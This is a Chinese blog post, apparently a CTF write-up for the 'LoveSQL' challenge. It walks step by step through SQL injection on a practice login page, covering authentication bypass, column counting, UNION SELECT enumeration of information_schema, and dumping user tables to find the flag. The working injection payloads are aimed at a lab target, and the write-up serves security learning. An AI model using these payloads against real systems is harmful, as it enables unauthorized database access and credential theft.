【CTF_SQL】[极客大挑战 2019]LoveSQL 1

曾经终败给现在 2024-04-01 09:25 42阅读 0赞

### \[极客大挑战 2019\]LoveSQL 1 ###

#### 先启动靶机 ####

![靶机启动][6d5209b55e6b40a9b19610b73c1340c6.png]

#### 点进行去后是如下的 ####

![靶机进入][c67a9ae734eb4b3aa3db2a9828fed092.png]

#### 思路 ####

#### `sql`问题—去想SQL注入问题 ####

> 进入环境，我们就尝试去最经典的万能密码  
> `1' or '1' = '1`

##### 1.最经典的sql注入 #####

*  `1`
 *  `1'`
 *  `1' or '1' = '1`  
    用上面的进行测试，

###### 1.1`1` ######

![1的测试][1]  
![用户名密码错误][0f9da40a5053421f8ecfd06c0cff5f9f.png]

`提示：是错误的`

###### 1.2`1'` ######

用户名或者用户名与密码都输入`1'`  
![1'测试][1 1]  
![在这里插入图片描述][54d71c8577314ef08c1bde538246bd0d.png]

> **提示语法错误，并说明了使用的数据库是（MariaDB）数据库~~~**  
> 所以，sql注入是可以的~~~

一般的套路使用之后，我们要先熟悉这个数据库相关SQL注入的基本语法或公式，才能进一步破解；  
![SQL注入——MariaDB][SQL_MariaDB]

通过我们在网上的查询或者对该数据库的了解，我们得知：

> 用户名输入sql注入基本公式：1’ or 1=1\#

#### 测试`1' or 1=1#` ####

![login successfully][]

##### 尝试一：是否是flag #####

结果为否。  
![错误flag][flag]

##### 尝试二：编码转换(编码解码操作) #####

> 这里，我们就需要对常用的一些编码格式有一定的了解。Eg：url编码格式：（必定含有`%`百分号）`https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&tn=15007414_9_dg&wd=mariadb%E7%9A%84SQL%E6%B3%A8%E5%85%A5%E5%9F%BA%E6%9C%AC%E5%85%AC%E5%BC%8F&oq=mariadb%25E7%259A%2584SQL%25E6%25B3%25A8%25E5%2585%25A5%25E5%259F%25BA%25E6%259C%25AC%25E5%2585%25B1%25E8%25AF%2586&rsv_pq=97ac7ad600009fe4&rsv_t=7b29v%2BEXTrQsnbUQfPhLd9IRuAl5Os3lNZ1x6cRtY7kVUfVyCyVhbZjAdNHMK11tm0p4EQ&rqlang=cn&rsv_enter=1&rsv_dl=tb&rsv_btype=t&inputT=1817&rsv_sug3=43&rsv_sug1=43&rsv_sug7=100&rsv_sug2=0&rsv_sug4=167954`
> 
> ![解码后][3f8682ba43104048a734b3e7aad86b79.png]  
> ![url解码表][url]

本道题，我们要观察它是什么编码？一开始，对于菜鸟级别的我们来说，一般是不了解的。  
所以，我们就需要跟着`大佬`的WP来学习他们的思路，多刷题，以形成自己的思路，常刷，常总是不可避免的，**`尽管菜鸟小编并做不到`。**  
![别管我][929a09c1fb0d4ea2b4cc98d225dcd3b1.png]

> 咳咳，我们回到正题。再来回想一下，我们刚才出现的编码是什么？  
> `02c039daff423020bb2e39a03514c659`  
> ![first][]**我发现，我第一次登录和第二次登录是不一样的结果，就推测他应该不是直接或者间接的编码了。**  
> 不信，咱们最好还是测试一下吧，有点像`MD5`编码，参加过全国大学生数学建模大赛的或者知道`MD5`吧~  
> 发现不行；  
> ![MD5][]

##### 可能是在其他的表中 #####

*  测试字段`admin' order by 4#`

# 回显
    Unknown column '4' in 'order clause'
    -- 说明有四个字段，猜测为：`id、username、password`

*  `1' union select 1,2,3#`

*  l了解php的话，我们也可以使用url
 *  ![在这里插入图片描述][d3fcc67790ab4bae8a168dca9fff2890.png]
 *  `1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#`

可以看到有geekuser，l0ve1ysq1两个表

*  `1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#`–geekuser表
 *  我们看到了字段；
 *  `Hello 2！ Your password is 'id,username,password'`
 *  另一张表  
    \-`1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#`  
    ![在这里插入图片描述][45e783138aca429d9cb9630834fc5790.png]

### 查表 ###

`1' union select 1,2,group_concat(id,username,password) from geekuser#`

Your password is '1admin02c039daff423020bb2e39a03514c659'

Hello 2！

#### l0ve1ysq1 ####

`1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#`

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{beec6b36-6755-4a05-b52f-0cb9990a1c93}'

发现了flag`flag{beec6b36-6755-4a05-b52f-0cb9990a1c93}`  
![在这里插入图片描述][d2295092860f4c25b82829499f7c6338.png]

[6d5209b55e6b40a9b19610b73c1340c6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/109c7184f0804209bae48e8936a35ab3.png
[c67a9ae734eb4b3aa3db2a9828fed092.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/4f7e195b19a94d29a952c072b8ef4b35.png
[1]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/4453ca52fa54485fbaca88ac1ed407b7.png
[0f9da40a5053421f8ecfd06c0cff5f9f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/989ab7ec318042a78235c3bcf5cecbb8.png
[1 1]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/04bfd21ac5354f459ca099a6200ca5a1.png
[54d71c8577314ef08c1bde538246bd0d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/c9f8fdbcbef047b3be64e06e3e6a1a12.png
[SQL_MariaDB]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/3639b49d7a6a45e5a1f8e4ada33260c5.png
[login successfully]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/3d003a65fabf4538b5fd9a46ff07872f.png
[flag]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/5d7c34f73f4c4971a8c3f5ae0ce50705.png
[3f8682ba43104048a734b3e7aad86b79.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/9b2f5a4181f34951a14dc3368bb14633.png
[url]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/c3eb930dc3be42ffa887127f787d9df0.png
[929a09c1fb0d4ea2b4cc98d225dcd3b1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/b53d90d5e4e045b4ad3be9913ac39aa3.png
[first]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/51a2c306f5dc4b108bb6bee1df1cbc2f.png
[MD5]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/fbb38242c85442bba2dc69f2415f69c6.png
[d3fcc67790ab4bae8a168dca9fff2890.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/a75eb2982e2c467587a07843fed9cf37.png
[45e783138aca429d9cb9630834fc5790.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/37427efd45e84904a9ee755955f88ee8.png
[d2295092860f4c25b82829499f7c6338.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/01/b06ba0cf5ad84f3b9c959d45d07512bd.png